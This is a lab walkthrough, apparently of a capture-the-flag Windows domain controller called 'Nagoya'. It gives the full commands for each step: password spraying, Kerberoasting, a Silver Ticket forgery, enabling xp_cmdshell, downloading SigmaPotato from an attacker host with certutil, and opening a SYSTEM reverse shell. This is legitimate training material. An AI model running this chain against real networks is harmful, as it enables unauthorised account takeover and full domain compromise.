Initial Reconnaissance
To start investigating the target system, we run a full port scan using Nmap. This allows us to discover every open TCP port (from 1 to 65535) on the machine, and also gather version info for each service it exposes.
sudo nmap -Pn -n 192.168.110.21 -sC -sV -p- --open -v
Here’s what each flag means for beginners:
Pn
: Skip host discovery (treat target as online).n
: Don’t resolve DNS names.sC
: Run default scripts (for basic checks).sV
: Try to detect service versions.p-
: Scan all 65535 TCP ports.-open
: Show only open ports.v
: Verbose output.
Nmap Results:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-favicon: Unknown favicon MD5: 9200225B96881264E6481C77D69C622C
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-08 20:23:27Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=nagoya.nagoya-industries.com
| Issuer: commonName=nagoya.nagoya-industries.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-05-07T20:12:14
| Not valid after: 2025-11-06T20:12:14
| MD5: 0d12:2d1b:e491:06ce:3607:0288:2c66:02ce
|_SHA-1: 5e00:13db:8271:d4b7:26cf:de28:7f36:26bc:7dba:9764
|_ssl-date: 2025-05-08T20:25:08+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: NAGOYA-IND
| NetBIOS_Domain_Name: NAGOYA-IND
| NetBIOS_Computer_Name: NAGOYA
| DNS_Domain_Name: nagoya-industries.com
| DNS_Computer_Name: nagoya.nagoya-industries.com
| DNS_Tree_Name: nagoya-industries.com
| Product_Version: 10.0.17763
|_ System_Time: 2025-05-08T20:24:29+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49708/tcp open msrpc Microsoft Windows RPC
49825/tcp open msrpc Microsoft Windows RPC
Service Info: Host: NAGOYA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-05-08T20:24:33
|_ start_date: N/A
The scan revealed a large number of ports open, which tells us the system is running many services. Here are the most interesting ones:
- Port 80 – A web server is running Microsoft IIS 10.0. This will likely be our first point of entry.
- Port 53 – DNS server running Simple DNS Plus.
- Ports 88, 389, 445, 464, etc. – These are typical for Active Directory environments, hinting this is a Windows domain controller.
- Port 3389 – Remote Desktop Protocol (RDP) is active, though we likely won’t use this unless we get valid login credentials.
- Port 5985 – WinRM (Windows Remote Management) is listening, which we can use for remote access if we gain credentials.
The system hostname appears to be nagoya.nagoya-industries.com
, and the domain is nagoya-industries.com
.
Let’s add this information to our /etc/hosts
file so we can use names instead of IP addresses when browsing or interacting with services.
sudo nano /etc/hosts
Add the following line:
192.168.110.21 nagoya-industries.com nagoya
Web Enumeration
Next, let’s explore the web server running on port 80. While browsing manually can help, automated tools like Gobuster can find hidden directories or files that aren’t linked from the main page.
We run a directory scan using a common wordlist:
sudo gobuster dir -w '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://192.168.110.21:80 -t 42 -b 400,403,404
Explanation:
w
is the wordlist we’re using (common web folder names).u
is the URL we’re targeting.t
is the number of threads (faster scanning).b
tells Gobuster to ignore certain HTTP responses like 403 Forbidden or 404 Not Found.
Gobuster Results:
┌──(kali㉿kali)-[~]
└─$ sudo gobuster dir -w '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt' -u http://192.168.110.21:80 -t 42 -b 400,403,404
[sudo] password for kali:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.110.21:80
[+] Method: GET
[+] Threads: 42
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 400,403,404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 3530]
/team (Status: 200) [Size: 6896]
/Index (Status: 200) [Size: 3530]
/error (Status: 200) [Size: 3128]
/INDEX (Status: 200) [Size: 3530]
/Team (Status: 200) [Size: 6896]
/Error (Status: 200) [Size: 3128]
Let’s visit the site in a browser: http://192.168.110.21.
On the Team page, we see full names of staff members. These can help us build a list of potential usernames.
Navigate to the Team page. We can see a list of team members first and last names.
Username Generation
From the Team page, we copy all the names and save them into a file called users.txt
:
┌──(kali㉿kali)-[~/Nagoya]
└─$ cat users.txt
Matthew Harrison
Emma Miah
Rebecca Bell
<SNIP>
But Active Directory usernames don’t always follow a consistent pattern. To help generate every possible combination of name formats (like matthew.harrison
, mharrison
, harrison.matthew
, etc.), we use a tool called username-anarchy.
Install the tool:
git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
Now generate a variety of domain-style usernames based on our list of full names:
./username-anarchy -i ../users.txt > ../domain-users.txt
This will create a file with lots of possible username variations. Here’s a quick preview:
┌──(kali㉿kali)-[~/Nagoya]
└─$ cat domain-users.txt
matthew
matthewharrison
matthew.harrison
matthewh
mattharr
m.harrison
mharrison
hmatthew
h.matthew
harrisonm
harrison
harrison.m
harrison.matthew
mh
<SNIP>
Validating Usernames with Kerberos
To confirm which of these usernames are valid in the domain, we’ll use a tool called kerbrute, which queries the Kerberos service and tells us which usernames exist without locking out any accounts.
/home/kali/Tools/kerbrute userenum --dc 192.168.110.21 -d nagoya-industries.com domain-users.txt
The output shows which names are accepted by the domain. These are real, valid users. We extract only the confirmed usernames:
cat domain-usernames.txt | awk '{print $7}' | cut -d "@" -f 1 > domain-usernames-final.txt
This gives us a cleaned-up list of valid usernames:
┌──(kali㉿kali)-[~/Nagoya]
└─$ cat domain-usernames-final.txt
matthew.harrison
emma.miah
rebecca.bell
<SNIP>
Password Spraying
With confirmed usernames in hand, we now try a technique called password spraying, where we test a small number of common passwords across all users.
Important: This is different from brute-force attacks, which try many passwords on a single account (and risk lockouts). Password spraying is stealthier and less likely to trigger alarms.
We noticed a potential clue on the website which is a mention of “Summer 2023”. Based on that, we try passwords like:
Summer2023
Nagoya2023
You can do this manually using crackmapexec, or with a wordlist like rockyou.txt
.
Eventually, we discover two accounts with valid credentials:
fiona.clark:Summer2023
christopher.lewis:Nagoya2023
With these credentials, we can now start exploring internal resources like SMB shares, Active Directory info, and more.
Exploring SMB Shares and Extracting Credentials
Now that we’ve got working usernames and passwords (fiona.clark:Summer2023
), we can check if these accounts have access to any shared files on the target system through SMB (Server Message Block). This protocol is commonly used for file sharing on Windows networks.
Listing Available Shares
We use the smbclient
tool to list available shares on the server. Think of this as asking the server, “What folders do I have permission to see?”
smbclient -U 'Fiona.clark' -L //192.168.110.21/
The -L
flag lists available shares, and -U
is the username. When prompted, enter Summer2023
as the password.
If successful, you’ll see a list of shared folders. One of them will likely be SYSVOL
or NETLOGON
, which are typical in domain environments and sometimes contain interesting scripts or binaries.
Connecting to a Share
We now connect to one of the discovered shares to browse its contents:
smbclient -U 'nagoya-industries.com/Fiona.clark' \\\\192.168.110.21\\SYSVOL
Use double backslashes (\\
) in SMB paths and make sure to escape them properly in the terminal. Once connected, you can use commands like ls
(list), cd
(change directory), and get
(download a file).
Analysing a Binary (resetpassword.exe)
Inside the share, we find a file called ResetPassword.exe
. This could be a password-reset tool used by IT staff possibly with hardcoded credentials.
We open the file in dnSpy, a powerful .NET decompiler for Windows applications. You can open it on a Windows VM or Wine environment and inspect the actual source code behind the binary.
Inside, we find something valuable: credentials for a new service account:
Username: svc_helpdesk
Password: U299iYRmikYTHDbPbxPoYYfa2j4x4cdg
This gives us another domain user with potential elevated permissions.
Kerberoasting for More Credentials
We now attempt a Kerberoasting attack which is a technique that extracts encrypted service tickets from Kerberos. If the service account has a weak password, we can crack it offline without making noise on the domain.
We use the Impacket tool GetUserSPNs
with Fiona’s credentials to look for service accounts that have SPNs (Service Principal Names):
impacket-GetUserSPNs nagoya-industries.com/fiona.clark:'Summer2023' -dc-ip 192.168.110.21 -debug -outputfile kerberoast.txt
This tool queries the domain controller and dumps service ticket hashes that can be cracked.
We find hashes for:
svc_helpdesk
svc_mssql
What is a SPN?
A Service Principal Name (SPN) is how Kerberos identifies services like MSSQL or HTTP running under specific accounts. If an attacker can grab a ticket for one of these, they can try to crack the password offline.
Cracking the Hash with John
We feed the Kerberoast hashes into john
the ripper with a common password list (rockyou):
We managed to get two users: svc_helpdesk and svc_mssql hash. Use john
to crack the hash.
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt
Eventually, we crack one of the passwords:
svc_mssql : Service1
Now we have two valuable service accounts:
svc_helpdesk : U299iYRmikYTHDbPbxPoYYfa2j4x4cdg
svc_mssql : Service1
Failed WinRM Access
We try logging in to the box using WinRM (via evil-winrm), but it fails for both accounts:
evil-winrm -i 192.168.110.21 -u svc_helpdesk -p 'U299iYRmikYTHDbPbxPoYYfa2j4x4cdg'
evil-winrm -i 192.168.110.21 -u svc_mssql -p 'Service1'
This tells us these accounts either aren’t allowed to use WinRM, or remote access is blocked for them.
Rpcclient
Just because WinRM is blocked doesn’t mean we’re stuck. SMB is still open, and we can use another tool called rpcclient
, which interacts with the domain controller over SMB.
rpcclient -U nagoya-industries/svc_helpdesk 192.168.110.21
Use the svc_helpdesk
credentials when prompted.
Once inside, try the following commands:
enumdomusers
– List all domain usersenumdomgroups
– List domain groupsqueryuser <RID>
– Get info about a specific usersetuserinfo
– Change a user’s password (if allowed!)
enumdomusers
enumdomgroups
We notice that christopher.lewis is in more groups than other users. While most staff are just in Domain Users
, Christopher is also in Developers
and Employees
, which could mean more permissions.
We try resetting Christopher’s password:
setuserinfo christopher.lewis 23 'P@ssw0rd'
If this works, we now control his account!
Try logging in:
evil-winrm -i 192.168.110.21 -u christopher.lewis -p 'P@ssw0rd'
Success! We now have remote access into the system using WinRM.
SQL Server Enumeration and Privilege Escalation (via Tunnelling)
After gaining access with christopher.lewis
, we notice a user profile folder for svc_mssql
. This suggests the account is in use and possibly tied to a SQL Server instance.
However, when we ran our original Nmap scan, port 1433 (commonly used by Microsoft SQL Server) wasn’t open externally. That could mean SQL Server is only accepting local connections which is a common security best practice.
Let’s try to confirm that.
Is SQL Server Running Locally?
Run this command on the remote machine (via evil-winrm) to see which services are listening on which ports:
netstat -ano
This means SQL Server is running, but only bound to the local loopback interface (127.0.0.1
). We can’t reach it directly from our attacker machine so we’ll need to tunnel traffic from our local system through the compromised host.
Tunnelling with Ligolo-ng (Failed Attempt)
What is Ligolo-ng?
Ligolo-ng is a reverse tunnelling tool that creates a virtual network tunnel, allowing us to interact with services only available internally (like a VPN into the target machine).
Ligolo Setup
Create a virtual interface on your Kali machine:
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 240.0.0.1/32 dev ligolo
Upload the Ligolo agent to the target machine using evil-winrm:
upload agent.exe
Start Ligolo proxy (server) on Kali machine:
./proxy -selfcert
On the target machine, run the Ligolo agent to connect to the Ligolo server:
./agent.exe -connect 192.168.45.187:11601 -ignore-cert
On the Ligolo proxy, you should see that agent has joined
Once connected, the Ligolo interface allows you to scan internal services. Run a nmap scan to target host focusing on internal port 1433
nmap 240.0.0.1 -p 1433 -Pn
Unfortunately in this scenario, Ligolo fails to forward traffic properly. We can’t connect to the SQL Server. So let’s try another tunnelling tool.
Tunnelling with Chisel (Success)
Chisel is a lightweight tool for creating TCP tunnels. We’ll use reverse port forwarding, meaning the target connects back to our Kali machine, and we forward SQL Server traffic over this tunnel.
Chisel Setup
On Kali, start Chisel in server mode:
./chisel server --socks5 --reverse -p 139
Upload Chisel to the target:
upload chisel.exe
On the target, connect back to the Chisel server and forward SQL port:
cmd /c "chisel client 192.168.45.187:139 R:1433:127.0.0.1:1433"
This command means: “Forward the remote machine’s port 1433 to Kali’s local port 1433”.
Test if the port is open (on Kali):
nmap 127.0.0.1 -p 1433
If you see that it’s open, the tunnel is working. We’ve successfully made the target’s SQL port available to us locally.
Accessing SQL Server via Impacket
We use the cracked credentials for svc_mssql
and connect through the forwarded tunnel:
impacket-mssqlclient svc_mssql:Service1@127.0.0.1 -windows-auth
Once connected, list the available databases:
SELECT name FROM master.dbo.sysdatabases;
We don’t see anything exciting and when we try to enable xp_cmdshell (a feature that lets SQL run system commands), we hit a permissions issue.
So we need a way to elevate our privileges within SQL Server.
enable_xp_cmdshell
Silver Ticket Attack: Impersonating an Admin
We can exploit Kerberos authentication using a Silver Ticket attack. This trick allows us to pretend to be a privileged user when accessing SQL Server without needing to talk to the domain controller.
Get Domain SID and SPN
Inside a PowerShell (evil-winrm) session on the target, run:
Import-Module ActiveDirectory
Get-ADDomain
Note the domain SID
S-1-5-21-1969309164-1513403977-1686805993
Now list all users with service principal names (SPNs):
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Find the SPN for svc_mssql
MSSQL/nagoya.nagoya-industries.com
Convert Password to NTLM Hash
We need the NTLM hash of the svc_mssql
password (Service1
). Use the following command on Kali:
echo -n 'Service1' | iconv -t UTF-16LE | openssl md4
This gives you the NTLM hash:
e3a0168bc21cfb88b95c954a5b18f57c
Forge the Ticket
Use Impacket’s ticketer.py
to generate a forged Kerberos ticket:
impacket-ticketer -nthash e3a0168bc21cfb88b95c954a5b18f57c -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
This creates a .ccache
file (Kerberos credential cache).
Set Up Kerberos on Your Kali Machine (if needed)
Install Kerberos client tools:
sudo apt update
sudo apt install krb5-user
Create the Kerberos user configuration file and paste in this configuration (adjusted for the target domain):
sudo nano /etc/krb5user.conf
[libdefaults]
default_realm = NAGOYA-INDUSTRIES.COM
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
rdns = false
dns_canonicalize_hostname = false
fcc-mit-ticketflags = true
[realms]
NAGOYA-INDUSTRIES.COM = {
kdc = nagoya.nagoya-industries.com
}
[domain_realm]
.nagoya-industries.com = NAGOYA-INDUSTRIES.COM
Update your /etc/hosts
file to reflect the forwarded SQL hostname. Since we’ve forwarded port 1433 locally via Chisel, we trick Kerberos into thinking that nagoya.nagoya-industries.com
points to 127.0.0.1
:
sudo nano /etc/hosts
Apply the Ticket
Export the ticket so it’s used for authentication:
export KRB5CCNAME=$PWD/Administrator.ccache
klist
Make sure klist
shows the ticket is in use.
Connect as Administrator
With the Silver Ticket in place, connect to SQL Server again, but now as the domain admin:
impacket-mssqlclient -k nagoya.nagoya-industries.com
If successful, you’ll be able to run privileged commands.
Enable xp_cmdshell
:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
Alternatively, you can run:
enable_xp_cmdshell
Now test your access:
xp_cmdshell 'whoami /priv';
If you see SeImpersonatePrivilege
, it means you can impersonate SYSTEM.
Exploiting SeImpersonatePrivilege (SigmaPotato)
Now that we’ve confirmed the right privilege, we’ll use a tool called SigmaPotato to elevate to SYSTEM which is the highest possible privilege. On Kali, host a Python web server on port 80:
python3 -m http.server 80
On the target, download SigmaPotato:
xp_cmdshell "certutil.exe -urlcache -split -f http://192.168.45.187/SigmaPotato.exe C:\Temp\SigmaPotato.exe"
Run a test command on the target:
xp_cmdshell "C:\Temp\SigmaPotato.exe whoami"
We’re now SYSTEM on the domain controller!
Get a Reverse Shell
On Kali, set up a listener on port 445
nc -nvlp 445
Run the following command to trigger a reverse shell using SigmaPotato.exe
xp_cmdshell "C:\Temp\SigmaPotato.exe --revshell 192.168.45.187 445"
We now have a SYSTEM shell on the DC. Look for flags in the following places:
C:\local.txt
C:\Users\Administrator\Desktop\proof.txt
Summary
In this Active Directory-focused machine, we began with full TCP enumeration using Nmap, identifying multiple services including SMB, Kerberos, WinRM, and a web server. From the website’s Team page, we harvested names and used username-anarchy
and kerbrute
to validate potential usernames.
After password spraying with thematic guesses (e.g., Summer2023
), we gained access to two domain accounts. Exploring SMB shares, we extracted credentials for svc_helpdesk
from a binary using dnSpy, and later retrieved SPN hashes with GetUserSPNs
, eventually cracking svc_mssql
.
Though WinRM was blocked for some users, rpcclient
enabled us to enumerate domain users and reset the password for christopher.lewis
. With WinRM access through his account, we pivoted internally to discover a SQL Server bound to localhost:1433
.
Using Chisel, we tunneled port 1433 to our attacker machine and confirmed SQL was running. Although svc_mssql
had limited privileges, we forged a Kerberos Silver Ticket impersonating Administrator
, exploiting the SPN and NTLM hash.
With the Silver Ticket, we authenticated to SQL as admin, enabled xp_cmdshell
, and found we had SeImpersonatePrivilege
. We then used SigmaPotato to escalate to NT AUTHORITY\SYSTEM
and retrieve the flags achieving full domain compromise.